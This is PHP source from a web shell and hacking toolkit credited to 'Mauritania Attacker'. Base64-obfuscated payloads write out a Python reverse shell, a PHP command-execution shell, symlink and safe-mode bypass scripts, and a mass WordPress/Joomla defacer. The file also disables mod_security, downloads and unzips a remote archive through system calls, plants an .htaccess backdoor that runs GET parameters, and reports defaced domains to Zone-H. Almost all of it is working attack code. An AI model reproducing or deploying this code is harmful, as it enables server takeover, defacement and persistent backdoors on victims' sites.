$linuxs = "ZWNobyAiPFNDUklQVCBTUkM9aHR0cDovL3Jvb3RraX";
$windows = "RuaW5qYS5jb20vc2F5LmpzPjwvU0NSSVBUPiI7Cg==";
eval(base64_decode($linuxs . $windows));
$file = fopen("massjmlawrdprsss.php" ,"w+");
$write = fwrite ($file ,base64_decode($gfgf4fff));
fclose($file);

echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Wordpress & Joomla Mass Defacer</font></b><center><br><iframe src=massjmlawrdprsss.php width=75% height=60% frameborder=0></iframe></div></center>"; 
}


// tools
if(isset($_GET['action']) && $_GET['action'] == 'zone-h' && !empty($_POST['hackmode'])){
if($_POST['SendNowToZoneH'])
{
echo '<center>';
ob_start();
$sub = get_loaded_extensions();
if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
	
if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites)) 
{
if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !
";
++$i;
}
echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
}
echo '</center>';
}
if(isset($_GET['action']) && $_GET['action'] == 'pythnonbakcncete'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';

mkdir('pyrevrshell', 0755);
chdir('pyrevrshell');
$seropil = ".htaccess";
$angelinalll = "$seropil";
$shitttyz = fopen ($angelinalll , 'w') or die ("shitttyz a&#231;&#305;lamad&#305;!");
$dffvfdgfg = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>";    
fwrite ( $shitttyz , $dffvfdgfg ) ;
fclose ($shitttyz);
//extract python reverse script
$vkffhd = 'IyEvdXNyL2Jpbi9weXRob24NCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHNvY2tldA0KaW1wb3J0IHB0eQ0KIA0Kc2hlbGwgPSAiL2Jpbi9zaCINCiANCmRlZiB1c2FnZShwcm9ncmFtbmFtZSk6DQpwcmludCAieXRob24gY29ubmVjdC1iYWNrIGRvb3IiDQpwcmludCAiVXNhZ2U6ICVzIDxjb25uX2JhY2tfaXA+IDxwb3J0PiIgJSBwcm9ncmFtbmFtZQ0KIA0KZGVmIG1haW4oKToNCmlmIGxlbihzeXMuYXJndikgIT0zOg0KdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQpzeXMuZXhpdCgxKQ0KIA0KcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KIA0KdHJ5Og0Kcy5jb25uZWN0KChzb2NrZXQuZ2V0aG9zdGJ5bmFtZShzeXMuYXJndlsxXSksaW50KHN5cy5hcmd2WzJdKSkpDQpwcmludCAiWytdQ29ubmVjdCBPSy4iDQpleGNlcHQ6DQpwcmludCAiWy1dQ2FuJ3QgY29ubmVjdCINCnN5cy5leGl0KDIpDQogDQpvcy5kdXAyKHMuZmlsZW5vKCksMCkNCm9zLmR1cDIocy5maWxlbm8oKSwxKQ0Kb3MuZHVwMihzLmZpbGVubygpLDIpDQpnbG9iYWwgc2hlbGwNCm9zLnVuc2V0ZW52KCJISVNURklMRSIpDQpvcy51bnNldGVudigiSElTVEZJTEVTSVpFIikNCnB0eS5zcGF3bihzaGVsbCkNCnMuY2xvc2UoKQ0KIA0KaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoNCm1haW4oKQ==';

$jkol = fopen("reversesh.py" ,"w+");
$write = fwrite ($jkol ,base64_decode($vkffhd));
fclose($jkol);
chmod("reversesh.py",0755);

//extract php command shell
$merdeeeee = 'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBQeXRob24gQ29ubmVjdCBTaGVsbCBQcml2ODwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3MTQuMHp6MC5jb20vMjAxNC8wNi8wNC8yMS8zOTY1NTQzOTQucG5nIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7IGJhY2tncm91bmQtY29sb3I6ICMyMjIyMjIgIWltcG9ydGFudDsgY29sb3I6ICMwMDk5MDA7IHRleHQtc2hhZG93OiMwMDAgMHB4IDJweCA3cHg7fSAgICAgIGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7IGZvbnQtZmFtaWx5OiBUYWhvbWEsIEdlbmV2YTsgY29sb3I6IzAwNzcwMDsgcGFkZGluZzoycHggMnB4O30gICAgICBhOmhvdmVye2NvbG9yOiMwMDk5MDA7IHRleHQtc2hhZG93OiMwMGZmMDAgMHB4IDBweCAzcHg7fQkgIC5hcmVhIHsgY29sb3I6ICMwMGJiMDA7IGZvbnQtc2l6ZTogOXB0OyB0ZXh0LXNoYWRvdzojMDAwMDAwIDBweCAycHggN3B4OyBib3JkZXI6IHNvbGlkIDBweCAjMDA3NzAwOyBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyB9CSAgaW5wdXRbdHlwZT1zdWJtaXRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA3NzA7ICBmb250LXdlaWdodDogYm9sZDsgdGV4dC1hbGlnbjogY2VudGVyOyAgdGV4dC1zaGFkb3c6IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTsgIGJhY2tncm91bmQ6ICNhZWFlYWU7ICBiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94OyAgYm9yZGVyOiAxcHggc29saWQgIzI4NDQ3MzsgIGJvcmRlci1ib3R0b20tY29sb3I6ICMyMjNiNjY7ICBib3JkZXItcmFkaXVzOiA0cHg7ICBjdXJzb3I6IHBvaW50ZXI7ICBiYWNrZ3JvdW5kLWltYWdlOi13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZWFlYWVhLCAjZDBkMGQwKTsgIC13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7ICBib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgfSBpbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDt9IGlucHV0W3R5cGU9c3VibWl0XTpob3ZlciwgaW5wdXRbdHlwZT10ZXh0XTpob3ZlcnsgY29sb3I6ICNmZmZmZmY7IHRleHQtc2hhZG93OiAjMDA2NjAwIDBweCAwcHggNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7fSBzZWxlY3R7IHBhZGRpbmc6IDNweDsgd2lkdGg6IDE2MnB4OyBjb2xvcjogIzAwYWEwMDsgdGV4dC1zaGFkb3c6IzAwMCAwcHggMnB4IDdweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwYWEwMDsgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7fSBzZWxlY3Q6aG92ZXJ7IGJvcmRlcjogMXB4IHNvbGlkICMwMGRkMDA7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGRkMDA7ICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4O30gICAjY29tbWFuZHN7IG1hcmdpbi1sZWZ0OiAzNTBweDsgbWFyZ2luLXJpZ2h0OiAzNTBweDsgfSBvcHRpb257IGNvbG9yOiAjNzc3Nzc3OyB9PC9zdHlsZT4NCjw/cGhwDQplY2hvICc8Y2VudGVyPjxmb250IGNvbG9yPSIjMDA3NzAwIiBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEycHQiPlVzYWdlOiByZXZlcnNlc2gucHkgW0hvc3RdIFtQb3J0XTwvZm9udD4nOw0KZWNobyc8cCBhbGlnbj0iY2VudGVyIj4gDQo8aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3MTAuMHp6MC5jb20vMjAxNC8wOC8yMC8yMC8yMjU4MTYzNTUucG5nIj48L3A+PGZvbnQgZmFjZT0iR2VuZXZhIiBhbGlnbj0iY2VudGVyIiBzaXplPSIyIiBjb2xvcj0iIzAwOTkwMCI+IENvZGVkIEJ5IE1hdXJpdGFuaWEgQXR0YWNrZXIgPC9mb250Pjxicj4NCjxmb3JtIG1ldGhvZD1nZXQgYWN0aW9uPSInLiRtZS4nIj4NCjxwPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgcm93cz0iMTMiIG5hbWU9IlMxIiBjb2xzPSI3MCIgPic7DQoNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9HRVRbJ2V4ZWNtZXRob2QnXSgkX0dFVFsnY29tbWFuZCddKTt9DQppZiAoc3RybGVuKCRfUE9TVFsnY29tbWFuZCddKT4xICYmICRfUE9TVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9QT1NUWydleGVjbWV0aG9kJ10oJF9QT1NUWydjb21tYW5kJ10pO30NCg0KaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ109PSJwb3BlbiIpew0KcG9wZW4oJF9HRVRbJ2NvbW1hbmQnXSwiciIpO30NCg0KZWNobyc8L3RleHRhcmVhPjwvcD4NCjxwPjxjZW50ZXI+SWYgbm90aGluZyB3b3JrIGl0IG1lYW5zIHRoYXQgcHl0aG9uIGlzIG5vdCBlbmFibGVkIGluIHRoaXMgc2VydmVyIDooPC9jZW50ZXI+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+PHN0cm9uZz5Db21tYW5kOiBweXRob24gcmV2ZXJzZS5weSB5b3VySVAgUG9ydDwvc3Ryb25nPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ2dyIgc2l6ZT0iNTAiIHZhbHVlPSJjbWQiPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgc2l6ZT0iNDMiPiA8c2VsZWN0IG5hbWU9ZXhlY21ldGhvZD4NCjxvcHRpb24gdmFsdWU9InN5c3RlbSI+U3lzdGVtPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJleGVjIj5FeGVjPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJwYXNzdGhydSI+UGFzc3RocnU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3BlbiI+cG9wZW48L29wdGlvbj4NCjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+DQo8L3A+PC9mb3JtPic7DQo/Pg==';
$file = fopen("kiter.php" ,"w+");
$write = fwrite ($file ,base64_decode($merdeeeee));
fclose($file);
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Python Connect Shell Priv8</span><center><center><br><iframe src=pyrevrshell/kiter.php width=75% height=70% frameborder=0></iframe></div></center>'; 
}
if(isset($_GET['action']) && $_GET['action'] == 'rootexecbpass'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';

echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path With exec Function</span><center><br>';
mkdir('excrooooot', 0755);
chdir('excrooooot');
$excrooooot = 'PGhlYWQ+DQo8dGl0bGU+QnlwYXNzIEJ5cGFzcyBSb290IFBhdGggYnkgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQo8L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojMDA4ODAwO2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiMwMDk5MDA7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDg4MDA7fSBhOmhvdmVye2NvbG9yOiMwMGJiMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwOTkwMDt9IC0tPjwhLS0gTWFkZSBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIC0tPg0KPC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgDQplY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J2V4ZWNlcic+PC9jZW50ZXI+IjsgDQppZiAoaXNzZXQoJF9QT1NUWydleGVjZXInXSkpeyBleGVjKCdsbiAtcyAvIHJvb3QtZXhlYy50eHQnKTsgDQokZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyANCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkZXhlY2VyID0gc3ltbGluaygiLyIsInJvb3QtZXhlYy50eHQiKTsgDQokcnQ9Ijxicj48YSBocmVmPXJvb3QtZXhlYy50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyANCmVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';

$file = fopen("excrooooot.php" ,"w+");
$write = fwrite ($file ,base64_decode($excrooooot));
fclose($file);
chmod("excrooooot.php",0755);
echo "<iframe src=excrooooot/excrooooot.php width=60% height=60% frameborder=0></iframe>";
}
if(isset($_GET['action']) && $_GET['action'] == 'bypsrootwzp'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';
echo'<center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path With Zip File</span><br>Coded By Mauritania Attacker</center>';
echo"<p align='center'><img border='0' src='http://4.bp.blogspot.com/-B2RRd3iYCgI/Uj6UtLxxApI/AAAAAAAAATc/DJHEPAWNTmk/s320/Password-protected-zip-file.png'></p>";
echo'<div class="tul"><font color="009900" face="Impact, Geneva, sans-serif" style="font-size: 8pt"><font/>';

echo"<center><font face='ghost' color='red' size='5'><font/>
<form method='post'>
<input type='submit' value='Grab To Root Now' name='fuck'><br>
<center><font color='red' size='4' face='ghost'>Remote Zip File</font><input type='text' size='40' name='shell' value='http://hcp1.es/wp-content/uploads/v4.zip' 
</font></center>
</form>
</center>
</p>";


@error_reporting(0);

$file = $_POST['shell'];
//Generate zip file
mkdir('wooooot', 0755);
chdir('wooooot');
$fopen = fopen("v4.zip",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "Zip File Downloaded Successfully
";
sleep(2);
echo "<p>Going To Unzip the File to Get r00t....</p>";

sleep(2); 

//system
system('unzip v4.zip');



//passthru
passthru('unzip v4.zip');



//shell_exec
shell_exec('unzip v4.zip');



//exec
exec('unzip v4.zip');


//proc_open
proc_open('unzip v4.zip');




sleep(1);

//Extracting htaccess For Symlink
chdir('wooooot');
$htaccess = 'T1BUSU9OUyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzIFN5bUxpbmtzSWZPd25lck1hdGNoIEluY2x1ZGVzIEluY2x1ZGVzTk9FWEVDIEV4ZWNDR0kNCk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRm9yY2VUeXBlIHRleHQvcGxhaW4NCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIA0KQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sDQpBZGRUeXBlIHRleHQvaHRtbCAuc2h0bWwNCkFkZFR5cGUgdHh0IC5waHANCkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAuaHRtbA0KQWRkSGFuZGxlciB0eHQgLnNodG1sDQpPcHRpb25zIEFsbA0KT3B0aW9ucyBBbGw=';
$priv8priv = fopen(".htaccess" ,"w+");
$xwrite = fwrite ($priv8priv ,base64_decode($htaccess));

sleep(1);

echo "<p>Loading Perl unzipper.... \!/ </p>";
//dezipper.pl generate
chdir('wooooot');
$l0vercodee = 'eyANCnN5c3RlbSgidW56aXAgdjQuemlwIik7DQpleGVjKCJ1bnppcCB2NC56aXAiKTsNCnBhc3N0aHJ1KCJ1bnppcCB2NC56aXAiKTsNCnNoZWxsX2V4ZWMoInVuemlwIHY0LnppcCIpOw0KcHJvY19vcGVuKCJ1bnppcCB2NC56aXAiKTsNCn0=';
$greatshiit = fopen("dezipper.pl" ,"w+");
$write = fwrite ($greatshiit ,base64_decode($l0vercodee));
if($write){
echo "<p>Perl Unzipper Downloaded Successfully</p>";
fclose($greatshiit);
chmod("dezipper.pl",0755);

echo "<p>Unzipping File with Perl \!/ </p>";

system('perl dezipper.pl');
passthru('perl dezipper.pl');
shell_exec('perl dezipper.pl');
exec('perl dezipper.pl');
proc_open('perl dezipper.pl');

echo"<br><a href=wooooot/1.txt TARGET='_blank'>Link=====><font color=red size=3 face='Courier New'><b>Root Path</b></font></a>";

}
}
}



if(isset($_GET['action']) && $_GET['action'] == 'zonh'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
?>
<center>
<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Zone-h Notifier</span></b></center><br>
<form action="" method='POST'><table><tr><td height='45' colspan='2'><form method="post">
<input type="text" name="defacer" value="Virusa Worm" />
<select name="hackmode">
<option >--------SELECT--------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>

<select name="reason">
<option >--------SELECT--------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone-h">
<center><br><textarea style="color: #009900; background:transparent; box-shadow: 0px 0px 4px #009900;" name="domain" cols="60" rows="9" id="domains">List Of Domains</textarea>
<br /><br /><input type="submit" value="Send Now !" name="SendNowToZoneH" /></center>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center>
<?php
}
if(isset($_GET['action']) && $_GET['action'] == 'umpetan'){
if(isset($_GET['vw'])){
$op = $_GET['vw'];
if($op == ".htaccess"){
$o = stripslashes(base64_decode("IyBPdmVycmlkZSBkZWZhdWx0IGRlbnkgcnVsZSB0byBtYWtlIC5odGFjY2VzcyBmaWxlIGFjY2Vzc2libGUgb3ZlciB3ZWINCjxGaWxlcyB+IFwiXlxcLmh0XCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlcz4NCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHAgLmh0YWNjZXNzDQoNCiMjIyMjIyBTSEVMTCAjIyMjIyMgPD9waHAgZWNobyBcIlxcblwiO3Bhc3N0aHJ1KCRfR0VUW1wnY1wnXS5cIiAyPiYxXCIpOyA/PiMjIyMjIyBMTEVIUyAjIyMjIyM="));
$a = fopen(".htaccess", "w");
fputs($a, $o);
fclose($a);
